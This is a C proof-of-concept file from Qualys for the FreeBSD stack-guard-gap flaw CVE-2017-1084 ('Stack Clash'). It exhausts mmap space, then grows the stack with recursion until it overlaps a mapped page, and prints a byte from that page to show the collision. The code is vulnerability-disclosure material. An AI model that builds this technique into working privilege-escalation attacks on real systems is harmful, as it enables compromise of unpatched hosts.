66 lines
No EOL
1.8 KiB
C
66 lines
No EOL
1.8 KiB
C
/*
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* FreeBSD_CVE-2017-FGPU.c for CVE-2017-1084 (please compile with -O0)
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* Copyright (C) 2017 Qualys, Inc.
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*
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* This program is free software: you can redistribute it and/or modify
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* it under the terms of the GNU General Public License as published by
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* the Free Software Foundation, either version 3 of the License, or
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* (at your option) any later version.
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*
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* This program is distributed in the hope that it will be useful,
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* but WITHOUT ANY WARRANTY; without even the implied warranty of
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* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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* GNU General Public License for more details.
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*
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* You should have received a copy of the GNU General Public License
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* along with this program. If not, see <http://www.gnu.org/licenses/>.
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <sys/mman.h>
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#include <sys/resource.h>
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#include <sys/time.h>
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#define die() do { \
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fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
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exit(EXIT_FAILURE); \
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} while (0)
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static const char * last_page;
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static void
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clash(void)
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{
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for (;;) {
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const char * const page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
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if (page <= last_page) die();
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if (page == MAP_FAILED) break;
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last_page = page;
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}
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if (!last_page) die();
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}
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static void
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smash_no_jump(const size_t smash_size)
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{
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char buf[1024];
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memset(buf, 'A', sizeof(buf));
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if (smash_size > sizeof(buf))
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smash_no_jump(smash_size - sizeof(buf));
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}
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#define SGROWSIZ ((size_t)128UL*1024) /* amount to grow stack */
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int
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main(void)
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{
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static const struct rlimit core;
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if (setrlimit(RLIMIT_CORE, &core)) die();
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clash();
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smash_no_jump(SGROWSIZ / 2 * 3);
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printf("char at %p: %02x\n", last_page, *last_page);
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exit(EXIT_SUCCESS);
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} |